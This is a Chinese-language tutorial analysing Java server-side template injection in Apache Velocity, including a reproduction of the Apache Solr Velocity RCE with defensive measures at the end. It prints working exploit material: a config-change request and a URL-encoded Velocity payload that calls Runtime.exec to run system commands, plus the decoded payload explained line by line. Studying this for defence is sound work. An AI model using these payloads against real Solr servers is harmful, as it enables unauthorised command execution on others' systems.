白头搔更短,SSTI惹人心!
字数 1474 2025-08-20 18:17:47

Java SSTI(服务端模板注入)漏洞深入分析与利用

一、SSTI基础概念

SSTI(Server-Side Template Injection)服务端模板注入是指在使用模板引擎渲染用户输入时,由于代码不规范或信任了用户输入而导致的注入漏洞。主要影响以下框架:

  • Python框架:Jinja2、Mako、Tornado、Django
  • PHP框架:Smarty、Twig
  • Java框架:FreeMarker、Velocity、Jade

二、Java SSTI漏洞原理

1. 漏洞示例代码

private static void velocity(String template) {
    Velocity.init();
    VelocityContext context = new VelocityContext();
    context.put("author", "Elliot A.");
    context.put("address", "217 E Broadway");
    context.put("phone", "555-1337");
    
    StringWriter swOut = new StringWriter();
    Velocity.evaluate(context, swOut, "test", template); // 漏洞点
}

2. 漏洞调用链分析

  1. Velocity.evaluate() 调用 RuntimeSingleton.getRuntimeServices().evaluate()
  2. 进入 RuntimeInstance 类的 evaluate 方法
  3. 调用 parse() 方法解析模板
  4. 进入 render() 方法渲染模板
  5. 最终通过 execute() 方法执行恶意代码

3. 关键执行点

SimpleNode 类的 execute 方法中:

for(int i = 0; i < this.numChildren; ++i) {
    if (this.strictRef && result == null) {
        methodName = this.jjtGetChild(i).getFirstToken().image;
        throw new VelocityException("Attempted to access '" + methodName + "' on a null value...");
    }
    previousResult = result;
    result = this.jjtGetChild(i).execute(result, context); // 关键执行点
    if (result == null && !this.strictRef) {
        failedChild = i;
        break;
    }
}

三、Apache Solr Velocity模板注入漏洞分析

1. 漏洞复现步骤

  1. 修改配置:开启Velocity模板的params.resource.loader.enabled选项
POST /solr/test/config HTTP/1.1
Host: 127.0.0.1:8983
Content-Type: application/json

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}
  1. 执行恶意模板
GET /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: 127.0.0.1:8983

2. 漏洞分析

  1. Velocity模板引擎初始化

    • VelocityResponseWriter类中创建Velocity模板引擎
    • 通过SimpleNode类处理模板指令
  2. 模板解析过程

    • ASTSetDirective处理#set指令
    • ASTMethod处理方法调用
    • ASTReference处理变量引用
  3. RCE实现原理

    • 通过#set指令获取Runtime类
    • 调用getRuntime().exec()执行系统命令
    • 使用#foreach循环读取命令执行结果

四、Velocity模板语法详解

1. #set语法

#set($var = "value")  // 简单赋值
#set($person.name = "value")  // 相当于Java的setName方法

2. #foreach语法

#foreach($child in $person.children)
    $child
#end

内部实现:

  • 将集合封装为Iterator
  • 在context中临时创建三个变量:
    • elementKey:当前元素
    • counterName:循环计数
    • hasNextName:是否有下一个元素

五、POC构造原理

解码后的POC:

#set($x='') 
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))  
#set($str=$x.class.forName('java.lang.String'))
#set($ex=$rt.getRuntime().exec('calc'))
$ex.waitFor() 
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
    $str.valueOf($chr.toChars($out.read()))
#end

分步解析:

  1. 创建空字符串变量$x
  2. 通过反射获取Runtime类
  3. 获取Character和String类用于后续输出处理
  4. 执行命令并等待完成
  5. 获取命令输出流
  6. 使用循环读取并输出所有结果

六、防御措施

  1. 输入验证

    • 严格过滤用户输入的模板内容
    • 禁止使用危险字符和关键字
  2. 配置安全

    • 禁用危险的Velocity配置选项
    • 特别是params.resource.loader.enabled
  3. 权限控制

    • 对Solr等系统配置API进行访问控制
    • 使用认证和授权机制
  4. 沙箱环境

    • 使用安全的沙箱环境运行模板引擎
    • 限制可访问的Java类和方

七、学习资源推荐

国内资料:

  • Python SSTI:Flask/Jinja2模板注入绕过姿势
  • PHP SSTI:服务端模板注入攻击浅析

国外资料:

  • Server-Side Template Injection: RCE for the modern webapp
  • In-Depth FreeMarker Template Injection

参考链接:

  • Solr官方文档
  • Velocity模板引擎源码分析
  • 各种框架的模板结构对比
Java SSTI(服务端模板注入)漏洞深入分析与利用 一、SSTI基础概念 SSTI(Server-Side Template Injection)服务端模板注入是指在使用模板引擎渲染用户输入时,由于代码不规范或信任了用户输入而导致的注入漏洞。主要影响以下框架: Python框架 :Jinja2、Mako、Tornado、Django PHP框架 :Smarty、Twig Java框架 :FreeMarker、Velocity、Jade 二、Java SSTI漏洞原理 1. 漏洞示例代码 2. 漏洞调用链分析 Velocity.evaluate() 调用 RuntimeSingleton.getRuntimeServices().evaluate() 进入 RuntimeInstance 类的 evaluate 方法 调用 parse() 方法解析模板 进入 render() 方法渲染模板 最终通过 execute() 方法执行恶意代码 3. 关键执行点 在 SimpleNode 类的 execute 方法中: 三、Apache Solr Velocity模板注入漏洞分析 1. 漏洞复现步骤 修改配置 :开启Velocity模板的 params.resource.loader.enabled 选项 执行恶意模板 2. 漏洞分析 Velocity模板引擎初始化 : 在 VelocityResponseWriter 类中创建Velocity模板引擎 通过 SimpleNode 类处理模板指令 模板解析过程 : ASTSetDirective 处理 #set 指令 ASTMethod 处理方法调用 ASTReference 处理变量引用 RCE实现原理 : 通过 #set 指令获取Runtime类 调用 getRuntime().exec() 执行系统命令 使用 #foreach 循环读取命令执行结果 四、Velocity模板语法详解 1. #set 语法 2. #foreach 语法 内部实现: 将集合封装为Iterator 在context中临时创建三个变量: elementKey :当前元素 counterName :循环计数 hasNextName :是否有下一个元素 五、POC构造原理 解码后的POC: 分步解析: 创建空字符串变量 $x 通过反射获取Runtime类 获取Character和String类用于后续输出处理 执行命令并等待完成 获取命令输出流 使用循环读取并输出所有结果 六、防御措施 输入验证 : 严格过滤用户输入的模板内容 禁止使用危险字符和关键字 配置安全 : 禁用危险的Velocity配置选项 特别是 params.resource.loader.enabled 权限控制 : 对Solr等系统配置API进行访问控制 使用认证和授权机制 沙箱环境 : 使用安全的沙箱环境运行模板引擎 限制可访问的Java类和方 七、学习资源推荐 国内资料: Python SSTI:Flask/Jinja2模板注入绕过姿势 PHP SSTI:服务端模板注入攻击浅析 国外资料: Server-Side Template Injection: RCE for the modern webapp In-Depth FreeMarker Template Injection 参考链接: Solr官方文档 Velocity模板引擎源码分析 各种框架的模板结构对比